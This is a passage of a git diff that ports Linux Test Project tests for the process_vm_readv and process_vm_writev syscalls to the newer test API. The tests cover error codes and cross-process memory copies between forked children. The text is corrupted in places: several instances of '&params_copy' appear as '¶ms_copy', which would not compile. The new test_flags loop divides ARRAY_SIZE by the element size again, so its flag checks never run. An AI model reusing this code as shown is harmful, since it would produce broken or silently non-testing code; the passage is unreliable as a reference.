sane_params->rvec->iov_len = len; sane_params->riovcnt = 1; @@ -197,7 +58,7 @@ static struct process_vm_params *cma_alloc_sane_params(void) return sane_params; } -static void cma_free_params(struct process_vm_params *params) +static void free_params(struct process_vm_params *params) { if (params) { free(params->ldummy); @@ -208,195 +69,245 @@ static void cma_free_params(struct process_vm_params *params) } } -static void cma_test_sane_params(void) +static void test_readv(struct process_vm_params *params) +{ + TEST(tst_syscall(__NR_process_vm_readv, + params->pid, + params->lvec, params->liovcnt, + params->rvec, params->riovcnt, + params->flags)); +} + +static void test_writev(struct process_vm_params *params) +{ + TEST(tst_syscall(__NR_process_vm_writev, + params->pid, + params->lvec, params->liovcnt, + params->rvec, params->riovcnt, + params->flags)); +} + +static void check_errno(long expected_errno) +{ + if (TST_ERR == expected_errno) + tst_res(TPASS | TTERRNO, "expected failure"); + else if (TST_ERR == 0) + tst_res(TFAIL, "call succeeded unexpectedly"); + else + tst_res(TFAIL | TTERRNO, "unexpected failure - " + "expected = %ld : %s, actual", + expected_errno, strerror(expected_errno)); +} + +static void test_sane_params(void) { struct process_vm_params *sane_params; - sane_params = cma_alloc_sane_params(); - tst_resm(TINFO, "test_sane_params"); - cma_test_params(sane_params); - cma_check_ret(sane_params->len, TEST_RETURN); - cma_free_params(sane_params); + tst_res(TINFO, "Testing sane parameters"); + + sane_params = alloc_params(); + test_params(sane_params); + TST_EXP_EQ_LI(TST_RET, sane_params->len); + free_params(sane_params); } -static void cma_test_flags(void) +static void test_flags(void) { struct process_vm_params *params; long flags[] = { -INT_MAX, -1, 1, INT_MAX, 0 }; - int flags_size = sizeof(flags) / sizeof(flags[0]); + int flags_size = ARRAY_SIZE(flags) / sizeof(flags[0]); int i; - params = cma_alloc_sane_params(); + params = alloc_params(); + for (i = 0; i < flags_size; i++) { params->flags = flags[i]; - tst_resm(TINFO, "test_flags, flags=%ld", flags[i]); - cma_test_params(params); + + tst_res(TINFO, "Testing flags=%ld", flags[i]); + test_params(params); + /* atm. only flags == 0 is allowed, everything else - * should fail with EINVAL */ + * should fail with EINVAL + */ if (flags[i] != 0) { - cma_check_ret(-1, TEST_RETURN); - cma_check_errno(EINVAL); + TST_EXP_EQ_LI(TST_RET, -1); + check_errno(EINVAL); } else { - cma_check_ret(params->len, TEST_RETURN); + TST_EXP_EQ_LI(TST_RET, params->len); } } - cma_free_params(params); + + free_params(params); } -static void cma_test_iov_len_overflow(void) +static void test_iov_len_overflow(void) { struct process_vm_params *params; - ssize_t maxlen = -1; - params = cma_alloc_sane_params(); - - params->lvec->iov_len = maxlen; - params->rvec->iov_len = maxlen; - tst_resm(TINFO, "test_iov_len_overflow"); - cma_test_params(params); - cma_check_ret(-1, TEST_RETURN); - cma_check_errno(EINVAL); - cma_free_params(params); + + tst_res(TINFO, "Testing iov_len = -1"); + + params = alloc_params(); + params->lvec->iov_len = -1; + params->rvec->iov_len = -1; + test_params(params); + TST_EXP_EQ_LI(TST_RET, -1); + check_errno(EINVAL); + free_params(params); } -static void cma_test_iov_invalid(void) +static void test_iov_invalid(void) { struct process_vm_params *sane_params; struct process_vm_params params_copy; - sane_params = cma_alloc_sane_params(); - /* make a shallow copy we can 'damage' */ + sane_params = alloc_params(); + tst_res(TINFO, "Testing lvec->iov_base = -1"); params_copy = *sane_params; - tst_resm(TINFO, "test_iov_invalid - lvec->iov_base"); params_copy.lvec->iov_base = (void *)-1; - cma_test_params(¶ms_copy); - cma_check_ret(-1, TEST_RETURN); - cma_check_errno(EFAULT); + test_params(¶ms_copy); + TST_EXP_EQ_LI(TST_RET, -1); + check_errno(EFAULT); + tst_res(TINFO, "Testing rvec->iov_base = -1"); params_copy = *sane_params; - tst_resm(TINFO, "test_iov_invalid - rvec->iov_base"); params_copy.rvec->iov_base = (void *)-1; - cma_test_params(¶ms_copy); - cma_check_ret(-1, TEST_RETURN); - cma_check_errno(EFAULT); + test_params(¶ms_copy); + TST_EXP_EQ_LI(TST_RET, -1); + check_errno(EFAULT); + tst_res(TINFO, "Testing lvec = -1"); params_copy = *sane_params; - tst_resm(TINFO, "test_iov_invalid - lvec"); params_copy.lvec = (void *)-1; - cma_test_params(¶ms_copy); - cma_check_ret(-1, TEST_RETURN); - cma_check_errno(EFAULT); + test_params(¶ms_copy); + TST_EXP_EQ_LI(TST_RET, -1); + check_errno(EFAULT); + tst_res(TINFO, "Testing rvec = -1"); params_copy = *sane_params; - tst_resm(TINFO, "test_iov_invalid - rvec"); params_copy.rvec = (void *)-1; - cma_test_params(¶ms_copy); - cma_check_ret(-1, TEST_RETURN); - cma_check_errno(EFAULT); + test_params(¶ms_copy); + TST_EXP_EQ_LI(TST_RET, -1); + check_errno(EFAULT); - cma_free_params(sane_params); + free_params(sane_params); } -static void cma_test_invalid_pid(void) +static void test_invalid_pid(void) { pid_t invalid_pid = -1; struct process_vm_params *params; + struct process_vm_params params_copy; + + params = alloc_params(); - params = cma_alloc_sane_params(); - tst_resm(TINFO, "test_invalid_pid"); - params->pid = invalid_pid; - cma_test_params(params); - cma_check_ret(-1, TEST_RETURN); - cma_check_errno(ESRCH); - cma_free_params(params); - - invalid_pid = tst_get_unused_pid(cleanup); - - params = cma_alloc_sane_params(); - params->pid = invalid_pid; - cma_test_params(params); - cma_check_ret(-1, TEST_RETURN); - cma_check_errno(ESRCH); - cma_free_params(params); + tst_res(TINFO, "Testing invalid PID"); + params_copy = *params; + params_copy.pid = invalid_pid; + test_params(¶ms_copy); + TST_EXP_EQ_LI(TST_RET, -1); + check_errno(ESRCH); + + tst_res(TINFO, "Testing unused PID"); + params_copy = *params; + invalid_pid = tst_get_unused_pid(); + params_copy.pid = invalid_pid; + test_params(¶ms_copy); + TST_EXP_EQ_LI(TST_RET, -1); + check_errno(ESRCH); + + free_params(params); } -static void cma_test_invalid_perm(void) +static void test_invalid_perm(void) { char nobody_uid[] = "nobody"; struct passwd *ltpuser; - int status; struct process_vm_params *params; pid_t child_pid; pid_t parent_pid; - int ret = 0; - tst_resm(TINFO, "test_invalid_perm"); + tst_res(TINFO, "Testing invalid permissions on given PID"); + parent_pid = getpid(); - child_pid = fork(); - switch (child_pid) { - case -1: - tst_brkm(TBROK | TERRNO, cleanup, "fork"); - break; - case 0: - ltpuser = getpwnam(nobody_uid); - if (ltpuser == NULL) - tst_brkm(TBROK | TERRNO, NULL, "getpwnam failed"); - SAFE_SETUID(NULL, ltpuser->pw_uid); - - params = cma_alloc_sane_params(); + child_pid = SAFE_FORK(); + if (!child_pid) { + ltpuser = SAFE_GETPWNAM(nobody_uid); + SAFE_SETUID(ltpuser->pw_uid); + + params = alloc_params(); params->pid = parent_pid; - cma_test_params(params); - ret |= cma_check_ret(-1, TEST_RETURN); - ret |= cma_check_errno(EPERM); - cma_free_params(params); - exit(ret); - default: - SAFE_WAITPID(cleanup, child_pid, &status, 0); - if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) - tst_resm(TFAIL, "child returns %d", status); + test_params(params); + TST_EXP_EQ_LI(TST_RET, -1); + check_errno(EPERM); + free_params(params); + return; } + + /* collect result from child before the next test, otherwise + * TFAIL/TPASS messages will arrive asynchronously + */ + tst_reap_children(); } -static void cma_test_invalid_protection(void) +static void test_invalid_protection(void) { struct process_vm_params *sane_params; struct process_vm_params params_copy; - void *p; - - sane_params = cma_alloc_sane_params(); - /* make a shallow copy we can 'damage' */ + void *data; + int len; - p = mmap(NULL, getpagesize(), PROT_NONE, - MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); - if (p == MAP_FAILED) - tst_brkm(TBROK | TERRNO, cleanup, "mmap"); + len = getpagesize(); + sane_params = alloc_params(); + data = SAFE_MMAP(NULL, len, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); + tst_res(TINFO, "Testing data with invalid protection (lvec)"); params_copy = *sane_params; - params_copy.lvec->iov_base = p; - tst_resm(TINFO, "test_invalid_protection lvec"); - cma_test_params(¶ms_copy); - cma_check_ret(-1, TEST_RETURN); - cma_check_errno(EFAULT); + params_copy.lvec->iov_base = data; + test_params(¶ms_copy); + TST_EXP_EQ_LI(TST_RET, -1); + check_errno(EFAULT); + tst_res(TINFO, "Testing data with invalid protection (rvec)"); params_copy = *sane_params; - params_copy.rvec->iov_base = p; - tst_resm(TINFO, "test_invalid_protection rvec"); - cma_test_params(¶ms_copy); - cma_check_ret(-1, TEST_RETURN); - cma_check_errno(EFAULT); + params_copy.rvec->iov_base = data; + test_params(¶ms_copy); + TST_EXP_EQ_LI(TST_RET, -1); + check_errno(EFAULT); - SAFE_MUNMAP(cleanup, p, getpagesize()); + SAFE_MUNMAP(data, len); + free_params(sane_params); +} - cma_free_params(sane_params); +static void run(void) +{ + test_sane_params(); + test_flags(); + test_iov_len_overflow(); + test_iov_invalid(); + test_invalid_pid(); + test_invalid_perm(); + test_invalid_protection(); } -static void cma_test_errnos(void) +static void setup(void) { - cma_test_sane_params(); - cma_test_flags(); - cma_test_iov_len_overflow(); - cma_test_iov_invalid(); - cma_test_invalid_pid(); - cma_test_invalid_perm(); - cma_test_invalid_protection(); + if (str_read) { + tst_res(TINFO, "Selected process_vm_readv"); + test_params = test_readv; + } else { + tst_res(TINFO, "Selected process_vm_writev"); + test_params = test_writev; + } } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .forks_child = 1, + .needs_root = 1, + .options = (struct tst_option[]) { + {"r", &str_read, "Use process_vm_read instead of process_vm_write"}, + {}, + }, +}; diff --git a/testcases/kernel/syscalls/cma/process_vm_readv02.c b/testcases/kernel/syscalls/cma/process_vm_readv02.c index ac53ed22..2bd66a49 100755 --- a/testcases/kernel/syscalls/cma/process_vm_readv02.c +++ b/testcases/kernel/syscalls/cma/process_vm_readv02.c @@ -1,164 +1,123 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2012 * Copyright (c) Linux Test Project, 2012 + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Fork two children, one child allocates memory and initializes it; + * then the other one calls process_vm_readv and reads from the same + * memory location, it then verifies if process_vm_readv returns + * correct data. */ -#define _GNU_SOURCE +#include #include -#include #include -#include -#include -#include -#include -#include - -#include "test.h" -#include "safe_macros.h" +#include "tst_test.h" #include "lapi/syscalls.h" -char *TCID = "process_vm_readv02"; -int TST_TOTAL = 1; - -static char *tst_string = "THIS IS A TEST"; -static int len; -static int pipe_fd[2]; -static pid_t pids[2]; +static uintptr_t *data_ptr; -static void child_alloc(void); -static void child_invoke(void); -static void setup(void); -static void cleanup(void); - -int main(int argc, char **argv) -{ - int lc, status; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - len = strlen(tst_string); - - SAFE_PIPE(cleanup, pipe_fd); - - /* the start of child_alloc and child_invoke is already - * synchronized via pipe */ - pids[0] = fork(); - switch (pids[0]) { - case -1: - tst_brkm(TBROK | TERRNO, cleanup, "fork #0"); - case 0: - child_alloc(); - exit(0); - } - - pids[1] = fork(); - switch (pids[1]) { - case -1: - tst_brkm(TBROK | TERRNO, cleanup, "fork #1"); - case 0: - child_invoke(); - exit(0); - } - - /* wait until child_invoke reads from child_alloc's VM */ - SAFE_WAITPID(cleanup, pids[1], &status, 0); - if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) - tst_resm(TFAIL, "child 1 returns %d", status); - - /* child_alloc is free to exit now */ - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); - - SAFE_WAITPID(cleanup, pids[0], &status, 0); - if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) - tst_resm(TFAIL, "child 0 returns %d", status); - } - - cleanup(); - tst_exit(); -} - -static void child_alloc(void) +static void child_alloc(const char *data) { char *foo; - char buf[BUFSIZ]; - foo = SAFE_MALLOC(tst_exit, len + 1); - strncpy(foo, tst_string, len); - foo[len] = '\0'; - tst_resm(TINFO, "child 0: memory allocated and initialized."); + foo = strdup(data); + *data_ptr = (uintptr_t)foo; - /* passing addr of string "foo" via pipe */ - SAFE_CLOSE(tst_exit, pipe_fd[0]); - snprintf(buf, BUFSIZ, "%p", foo); - SAFE_WRITE(tst_exit, 1, pipe_fd[1], buf, strlen(buf) + 1); - SAFE_CLOSE(tst_exit, pipe_fd[1]); + tst_res(TINFO, "child 0: memory allocated and initialized"); - /* wait until child_invoke is done reading from our VM */ - TST_SAFE_CHECKPOINT_WAIT(cleanup, 0); + /* wake and wait until child_invoke is done reading from our VM */ + TST_CHECKPOINT_WAKE_AND_WAIT(0); } -static void child_invoke(void) +static void child_invoke(const char *data, int length, pid_t pid_alloc) { - char *lp, *rp; - char buf[BUFSIZ]; + char *lp; struct iovec local, remote; - /* get addr from pipe */ - SAFE_CLOSE(tst_exit, pipe_fd[1]); - SAFE_READ(tst_exit, 0, pipe_fd[0], buf, BUFSIZ); - SAFE_CLOSE(tst_exit, pipe_fd[0]); - if (sscanf(buf, "%p", &rp) != 1) - tst_brkm(TBROK | TERRNO, tst_exit, "sscanf"); - - lp = SAFE_MALLOC(tst_exit, len + 1); + lp = SAFE_MALLOC(length); local.iov_base = lp; - local.iov_len = len; - remote.iov_base = rp; - remote.iov_len = len; - - tst_resm(TINFO, "child 1: reading string from same memory location."); - TEST(ltp_syscall(__NR_process_vm_readv, pids[0], - &local, 1UL, &remote, 1UL, 0UL)); - if (TEST_RETURN != len) - tst_brkm(TFAIL | TTERRNO, tst_exit, "process_vm_readv"); - if (strncmp(lp, tst_string, len) != 0) - tst_brkm(TFAIL, tst_exit, "child 1: expected string: %s, " - "received string: %256s", tst_string, lp); + local.iov_len = length; + remote.iov_base = (void *)*data_ptr; + remote.iov_len = length; + + tst_res(TINFO, "child 1: reading string from same memory location"); + + TEST(tst_syscall(__NR_process_vm_readv, pid_alloc, &local, 1UL, &remote, + 1UL, 0UL)); + + if (TST_RET != length) + tst_brk(TBROK, "process_vm_readv: %s", tst_strerrno(-TST_RET)); + + if (strncmp(lp, data, length) != 0) + tst_res(TFAIL, "child 1: expected string: %s, received string: %256s", + data, lp); else - tst_resm(TPASS, "expected string received."); + tst_res(TPASS, "expected string received"); } static void setup(void) { - tst_require_root(); - /* Just a sanity check of the existence of syscall */ - ltp_syscall(__NR_process_vm_readv, getpid(), NULL, 0UL, NULL, 0UL, 0UL); + tst_syscall(__NR_process_vm_readv, getpid(), NULL, 0UL, NULL, 0UL, 0UL); - tst_tmpdir(); - TST_CHECKPOINT_INIT(cleanup); - - TEST_PAUSE; + data_ptr = SAFE_MMAP(NULL, sizeof(uintptr_t), PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_ANONYMOUS, -1, 0); } static void cleanup(void) { - tst_rmdir(); + if (data_ptr) + SAFE_MUNMAP(data_ptr, sizeof(uintptr_t)); +} + +static void run(void) +{ + const char *data = "test"; + pid_t pid_alloc; + pid_t pid_invoke; + int length; + int status; + + length = strlen(data); + + pid_alloc = SAFE_FORK(); + if (!pid_alloc) { + child_alloc(data); + return; + } + + /* wait until child_alloc has allocated VM */ + TST_CHECKPOINT_WAIT(0); + + pid_invoke = SAFE_FORK(); + if (!pid_invoke) { + child_invoke(data, length, pid_alloc); + return; + } + + /* wait until child_invoke reads from child_alloc's VM */ + SAFE_WAITPID(pid_invoke, &status, 0); + if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) + tst_res(TFAIL, "child 1: %s", tst_strstatus(status)); + + /* child_alloc is free to exit now */ + TST_CHECKPOINT_WAKE(0); + + SAFE_WAITPID(pid_alloc, &status, 0); + if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) + tst_res(TFAIL, "child 0: %s", tst_strstatus(status)); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .forks_child = 1, + .needs_checkpoints = 1, +}; diff --git a/testcases/kernel/syscalls/cma/process_vm_readv03.c b/testcases/kernel/syscalls/cma/process_vm_readv03.c index 561146e5..4caafe86 100755 --- a/testcases/kernel/syscalls/cma/process_vm_readv03.c +++ b/testcases/kernel/syscalls/cma/process_vm_readv03.c @@ -1,274 +1,197 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2012 * Copyright (c) Linux Test Project, 2012 + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Fork two children, one child mallocs randomly sized trunks of memory + * and initializes them; the other child calls process_vm_readv with + * the remote iovecs initialized to the original process memory + * locations and the local iovecs initialized to randomly sized and + * allocated local memory locations. The second child then verifies + * that the data is copied correctly. */ -#define _GNU_SOURCE -#include -#include -#include -#include -#include #include #include -#include -#include -#include -#include - -#include "test.h" -#include "safe_macros.h" +#include +#include +#include "tst_test.h" #include "lapi/syscalls.h" -char *TCID = "process_vm_readv03"; -int TST_TOTAL = 1; - -#define NUM_LOCAL_VECS 4 - -static int nflag, sflag; -static char *nr_opt, *sz_opt; -static option_t options[] = { - {"n:", &nflag, &nr_opt}, - {"s:", &sflag, &sz_opt}, - {NULL, NULL, NULL} +#define MAX_IOVECS 1024 + +static struct tcase { + int bufsize; + int remote_iovecs; + int local_iovecs; +} testcases[] = { + { .bufsize = 1024, .remote_iovecs = 1024, .local_iovecs = 8 }, + { .bufsize = 1024, .remote_iovecs = 512, .local_iovecs = 16 }, + { .bufsize = 1024, .remote_iovecs = 256, .local_iovecs = 32 }, + { .bufsize = 1024, .remote_iovecs = 128, .local_iovecs = 64 }, + { .bufsize = 1024, .remote_iovecs = 64, .local_iovecs = 128 }, + { .bufsize = 1024, .remote_iovecs = 32, .local_iovecs = 256 }, + { .bufsize = 1024, .remote_iovecs = 16, .local_iovecs = 512 }, + { .bufsize = 1024, .remote_iovecs = 8, .local_iovecs = 1024 }, + + { .bufsize = 131072, .remote_iovecs = 1024, .local_iovecs = 8 }, + { .bufsize = 131072, .remote_iovecs = 512, .local_iovecs = 16 }, + { .bufsize = 131072, .remote_iovecs = 256, .local_iovecs = 32 }, + { .bufsize = 131072, .remote_iovecs = 128, .local_iovecs = 64 }, + { .bufsize = 131072, .remote_iovecs = 64, .local_iovecs = 128 }, + { .bufsize = 131072, .remote_iovecs = 32, .local_iovecs = 256 }, + { .bufsize = 131072, .remote_iovecs = 16, .local_iovecs = 512 }, + { .bufsize = 131072, .remote_iovecs = 8, .local_iovecs = 1024 }, }; -static int nr_iovecs; -static long bufsz; -static int pipe_fd[2]; -static pid_t pids[2]; - -static void gen_random_arr(int *arr, int arr_sz); -static void child_alloc(int *bufsz_arr); -static void child_invoke(int *bufsz_arr); -static long *fetch_remote_addrs(void); -static void setup(void); -static void cleanup(void); -static void help(void); - -int main(int argc, char **argv) -{ - int lc, status; - int *bufsz_arr; - - tst_parse_opts(argc, argv, options, &help); - - setup(); - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - - SAFE_PIPE(cleanup, pipe_fd); - - bufsz_arr = SAFE_MALLOC(cleanup, nr_iovecs * sizeof(int)); - gen_random_arr(bufsz_arr, nr_iovecs); - - /* the start of child_alloc and child_invoke is already - * synchronized via pipe */ - pids[0] = fork(); - switch (pids[0]) { - case -1: - tst_brkm(TBROK | TERRNO, cleanup, "fork #0"); - case 0: - child_alloc(bufsz_arr); - exit(0); - } - - pids[1] = fork(); - switch (pids[1]) { - case -1: - tst_brkm(TBROK | TERRNO, cleanup, "fork #1"); - case 0: - child_invoke(bufsz_arr); - exit(0); - } - - /* wait until child_invoke reads from child_alloc's VM */ - SAFE_WAITPID(cleanup, pids[1], &status, 0); - if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) - tst_resm(TFAIL, "child 1 returns %d", status); - - /* child_alloc is free to exit now */ - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); - - SAFE_WAITPID(cleanup, pids[0], &status, 0); - if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) - tst_resm(TFAIL, "child 0 returns %d", status); - - free(bufsz_arr); - } - - cleanup(); - tst_exit(); -} +static char **data_ptr; -static void gen_random_arr(int *arr, int arr_sz) +static void create_data_size(int *arr, int arr_sz, int buffsize) { - long bufsz_left, bufsz_single; + long bufsz_left; int i; - bufsz_left = bufsz; + bufsz_left = buffsize; for (i = 0; i < arr_sz - 1; i++) { - bufsz_single = rand() % (bufsz_left / 2) + 1; - arr[i] = bufsz_single; - bufsz_left -= bufsz_single; + arr[i] = rand() % ((bufsz_left / 2) + 1); + bufsz_left -= arr[i]; } + arr[arr_sz - 1] = bufsz_left; } -static void child_alloc(int *bufsz_arr) +static void child_alloc(const int *sizes, int nr_iovecs) { - char **foo; int i, j; - char buf[BUFSIZ]; long count; - foo = SAFE_MALLOC(tst_exit, nr_iovecs * sizeof(char *)); - count = 0; for (i = 0; i < nr_iovecs; i++) { - foo[i] = SAFE_MALLOC(tst_exit, bufsz_arr[i]); - for (j = 0; j < bufsz_arr[i]; j++) { - foo[i][j] = count % 256; + data_ptr[i] = sizes[i] ? SAFE_MALLOC(sizes[i]) : NULL; + + for (j = 0; j < sizes[i]; j++) { + data_ptr[i][j] = count % 256; count++; } } - tst_resm(TINFO, "child 0: %d iovecs allocated and initialized.", - nr_iovecs); - - /* passing addr via pipe */ - SAFE_CLOSE(tst_exit, pipe_fd[0]); - snprintf(buf, BUFSIZ, "%p", (void *)foo); - SAFE_WRITE(tst_exit, 1, pipe_fd[1], buf, strlen(buf) + 1); - SAFE_CLOSE(tst_exit, pipe_fd[1]); - /* wait until child_invoke is done reading from our VM */ - TST_SAFE_CHECKPOINT_WAIT(cleanup, 0); -} + tst_res(TINFO, "child_alloc: memory allocated and initialized"); -static long *fetch_remote_addrs(void) -{ - long *foo, *bar; - char buf[BUFSIZ]; - long len; - struct iovec local, remote; - - /* get addr from pipe */ - SAFE_CLOSE(tst_exit, pipe_fd[1]); - SAFE_READ(tst_exit, 0, pipe_fd[0], buf, BUFSIZ); - SAFE_CLOSE(tst_exit, pipe_fd[0]); - if (sscanf(buf, "%p", &foo) != 1) - tst_brkm(TBROK | TERRNO, tst_exit, "sscanf"); - - len = nr_iovecs * sizeof(long); - bar = SAFE_MALLOC(tst_exit, len); - local.iov_base = bar; - local.iov_len = len; - remote.iov_base = foo; - remote.iov_len = len; - - TEST(ltp_syscall(__NR_process_vm_readv, pids[0], &local, - 1UL, &remote, 1UL, 0UL)); - if (TEST_RETURN != len) - tst_brkm(TFAIL | TTERRNO, tst_exit, "process_vm_readv"); - - return local.iov_base; + TST_CHECKPOINT_WAKE_AND_WAIT(0); } -static void child_invoke(int *bufsz_arr) +static void child_read(const int *sizes, int local_iovecs, int remote_iovecs, + pid_t pid_alloc, int buffsize) { - int i, j, count, nr_error; + struct iovec local[local_iovecs]; + struct iovec remote[remote_iovecs]; + int i, j; + int count; + int nr_error; + int local_sizes[local_iovecs]; unsigned char expect, actual; - long *addrs; - struct iovec local[NUM_LOCAL_VECS], *remote; - int rcv_arr[NUM_LOCAL_VECS]; - addrs = fetch_remote_addrs(); - - remote = SAFE_MALLOC(tst_exit, nr_iovecs * sizeof(struct iovec)); - for (i = 0; i < nr_iovecs; i++) { - remote[i].iov_base = (void *)addrs[i]; - remote[i].iov_len = bufsz_arr[i]; + for (i = 0; i < remote_iovecs; i++) { + remote[i].iov_base = (void *)data_ptr[i]; + remote[i].iov_len = sizes[i]; } - tst_resm(TINFO, "child 1: %d remote iovecs received.", nr_iovecs); - gen_random_arr(rcv_arr, NUM_LOCAL_VECS); - for (i = 0; i < NUM_LOCAL_VECS; i++) { - local[i].iov_base = SAFE_MALLOC(tst_exit, rcv_arr[i]); - local[i].iov_len = rcv_arr[i]; + create_data_size(local_sizes, local_iovecs, buffsize); + for (i = 0; i < local_iovecs; i++) { + local[i].iov_base = SAFE_MALLOC(local_sizes[i]); + local[i].iov_len = local_sizes[i]; } - tst_resm(TINFO, "child 1: %d local iovecs initialized.", - NUM_LOCAL_VECS); - TEST(ltp_syscall(__NR_process_vm_readv, pids[0], local, - (unsigned long)NUM_LOCAL_VECS, remote, - (unsigned long)nr_iovecs, 0UL)); - if (TEST_RETURN != bufsz) - tst_brkm(TBROK | TTERRNO, tst_exit, "process_vm_readv"); + tst_res(TINFO, "child_read: reading string from same memory location"); + + TST_EXP_POSITIVE(tst_syscall(__NR_process_vm_readv, pid_alloc, local, + local_iovecs, remote, remote_iovecs, 0UL), + "process_vm_read()"); + + if (TST_RET != buffsize) { + tst_brk(TBROK, "process_vm_readv: expected %d bytes but got %ld", + buffsize, TST_RET); + } - /* verify every byte */ count = 0; nr_error = 0; - for (i = 0; i < NUM_LOCAL_VECS; i++) { + for (i = 0; i < local_iovecs; i++) { for (j = 0; j < (int)local[i].iov_len; j++) { expect = count % 256; actual = ((unsigned char *)local[i].iov_base)[j]; - if (expect != actual) { -#if DEBUG - tst_resm(TFAIL, "child 1: expected %i, got %i " - "for byte seq %d", - expect, actual, count); -#endif + if (expect != actual) nr_error++; - } + count++; } } + if (nr_error) - tst_brkm(TFAIL, tst_exit, "child 1: %d incorrect bytes " - "received.", nr_error); + tst_brk(TFAIL, "child_read: %d incorrect bytes received", nr_error); else - tst_resm(TPASS, "child 1: all bytes are correctly received."); + tst_res(TPASS, "child_read: all bytes are correctly received"); } static void setup(void) { - tst_require_root(); - - /* Just a sanity check of the existence of syscall */ - ltp_syscall(__NR_process_vm_readv, getpid(), NULL, 0UL, NULL, 0UL, 0UL); - - nr_iovecs = nflag ? SAFE_STRTOL(NULL, nr_opt, 1, IOV_MAX) : 10; - bufsz = sflag ? SAFE_STRTOL(NULL, sz_opt, NUM_LOCAL_VECS, LONG_MAX) - : 100000; + tst_syscall(__NR_process_vm_readv, getpid(), NULL, 0UL, NULL, 0UL, 0UL); - tst_tmpdir(); - TST_CHECKPOINT_INIT(cleanup); - srand(time(NULL)); - - TEST_PAUSE; + data_ptr = SAFE_MMAP(NULL, sizeof(void *) * MAX_IOVECS, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_ANONYMOUS, -1, 0); } static void cleanup(void) { - tst_rmdir(); + if (data_ptr) + SAFE_MUNMAP(data_ptr, sizeof(void *) * MAX_IOVECS); } -static void help(void) +static void run(unsigned int i) { - printf(" -n NUM Set the number of iovecs to be allocated.\n"); - printf(" -s NUM Set the size of total buffer size.\n"); + int bufsize = testcases[i].bufsize; + int remote_iovecs = testcases[i].remote_iovecs; + int local_iovecs = testcases[i].local_iovecs; + pid_t pid_alloc; + pid_t pid_read; + int status; + int sizes[remote_iovecs]; + + tst_res(TINFO, "bufsize=%d, remote_iovecs=%d, local_iovecs=%d", bufsize, + remote_iovecs, local_iovecs); + + create_data_size(sizes, remote_iovecs, bufsize); + + pid_alloc = SAFE_FORK(); + if (!pid_alloc) { + child_alloc(sizes, remote_iovecs); + return; + } + + TST_CHECKPOINT_WAIT(0); + + pid_read = SAFE_FORK(); + if (!pid_read) { + child_read(sizes, local_iovecs, remote_iovecs, pid_alloc, bufsize); + return; + } + + SAFE_WAITPID(pid_read, &status, 0); + if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) + tst_res(TFAIL, "child_read: %s", tst_strstatus(status)); + + TST_CHECKPOINT_WAKE(0); } + +static struct tst_test test = { + .test = run, + .setup = setup, + .cleanup = cleanup, + .forks_child = 1, + .needs_checkpoints = 1, + .tcnt = ARRAY_SIZE(testcases), +}; diff --git a/testcases/kernel/syscalls/cma/process_vm_writev02.c b/testcases/kernel/syscalls/cma/process_vm_writev02.c index ea2ca63d..991110d2 100755 --- a/testcases/kernel/syscalls/cma/process_vm_writev02.c +++ b/testcases/kernel/syscalls/cma/process_vm_writev02.c @@ -1,205 +1,128 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2012 * Copyright (c) Linux Test Project, 2012 + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Fork two children, the first one allocates a chunk of memory and the + * other one call process_vm_writev to write known data into the first + * child. Then first child verifies that the data is as expected. */ -#define _GNU_SOURCE +#include #include #include -#include -#include -#include -#include -#include -#include -#include - -#include "test.h" -#include "safe_macros.h" +#include "tst_test.h" #include "lapi/syscalls.h" -char *TCID = "process_vm_writev02"; -int TST_TOTAL = 1; - -#define PADDING_SIZE 10 -#define 